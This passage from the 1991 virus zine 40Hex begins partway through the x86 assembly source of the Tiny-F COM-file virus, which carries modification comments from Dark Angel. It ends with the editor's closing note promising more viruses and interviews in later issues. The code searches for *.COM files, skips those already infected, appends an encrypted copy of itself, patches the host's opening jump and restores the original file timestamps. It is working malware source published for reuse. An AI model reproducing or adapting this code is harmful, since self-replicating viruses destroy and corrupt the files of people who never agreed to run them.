- JE infect ; If begins w/JMP, Infect
- nextfile:
- MOV AH,4FH ; set int 21 to find next file
- JMP mainloop ; next file, do it!
- hiccup: JMP exit
- infect:
- MOV AX,5700h ; get date function
- INT DOS ; do it!
- PUSH DX ; store date + time
- PUSH CX
- MOV DX,[DI+01H] ; set # of bytes to move
- MOV [SI+blnkdat],DX ; " " " " " "
- ; Tighter Code here - Dark Angel
- XOR CX,CX ; " " " " " " (0 here)
- MOV AX,4200H ; move file
- INT DOS ; do it!
- MOV DX,DI ; set dest index to area for buffer
- MOV CX,0002H ; two bytes
- MOV AH,3FH ; read file
- INT DOS ; do it!
- CMP WORD PTR [DI],0807H ; check for infection
- JE nextfile ; next file if infected
- getaval: ; encryption routine starts here
- ; My modifications here - Dark Angel
- MOV AH, 2Ch ; DOS get TIME function
- INT DOS ; do it!
- OR DX, DX ; Is it 0?
- JE getaval ; yeah, try again
- MOV word ptr [si+offset en_val], DX ; Store it
- ; Tighter code here - Dark Angel
- XOR DX,DX ; clear regs
- XOR CX,CX ; " "
- MOV AX,4202H ; move file pointer
- INT DOS ; do it!
- OR DX,DX ; new pointer location 0?
- JNE nextfile ; if no then next file
- CMP AH,0FEH ; new pointer loc too high?
- JNC nextfile ; yes, try again
- CALL nfect
- MOV AX,4200H ; move pointer
- XOR CX, CX ; clear reg
- MOV DX,OFFSET 00001 ; where to set pointer
- INT DOS ; do it!
- MOV AH,40H ; write to file
- LEA DX,[SI+offset endprog+3]; write data at SI+BUFFER
- MOV CX,0002H ; two bytes (the JMP)
- INT DOS ; do it!
- MOV AX,5701h ; store date
- POP CX ; restore time
- POP DX ; restore date
- INT DOS ; do it!
- exit:
- MOV AH,3EH ; close file
- INT DOS ; do it!
-
- ; Return DTA to old position - Dark Angel
-
- MOV AH, 1Ah ; Set DTA
- MOV DX, 80h ; to PSP DTA
- INT 21h
-
- JMP BP
-
- ;-----------------------------------------------------------------------------
- ; encrypted data goes here
- ;-----------------------------------------------------------------------------
-
- fspec LABEL WORD
- DB '*.COM',0
- nondata DB 'Tiny-F version 1.1' ; Program identification
- DB '¶§ÿÇÚ@&¸þ»' ; author identification
- DB 'Released 10-19-91' ; release date
- endenc LABEL BYTE ; end of encryption zone
- ;-----------------------------------------------------------------------------
- ; nonencrypted data goes anywhere after here
- ;-----------------------------------------------------------------------------
-
- blnkdat LABEL WORD
- DW 0000H
-
- ; Only en_val is needed now because of new encryption mechanism
- en_val DW 0h
-
- endprog LABEL WORD
- tinyv ENDS
- END start
- -------------------------------------------------------------------------------
- 40Hex Issue 3 0010
-
- In Closing
-
- Well that will do it for this issue. Sorry it took so damn long,
- but screw it.
-
- Next issue we will have more articals, more viruses, and all that.
-
- We were supposed to have an interview with an Amiga virus writer
- this issue but we just couldn't get it in time. Also we were
- planning an interview with John Mcafee, but the same story there.
-
- Also next issue, I hope to have the Bob Ross virus, from the
- twisted mind of Dark Angel. And If I can find it, the DIR-2 virus
- and The Teqeulla Virus, so I can't spell.
-
- See you then.
-
-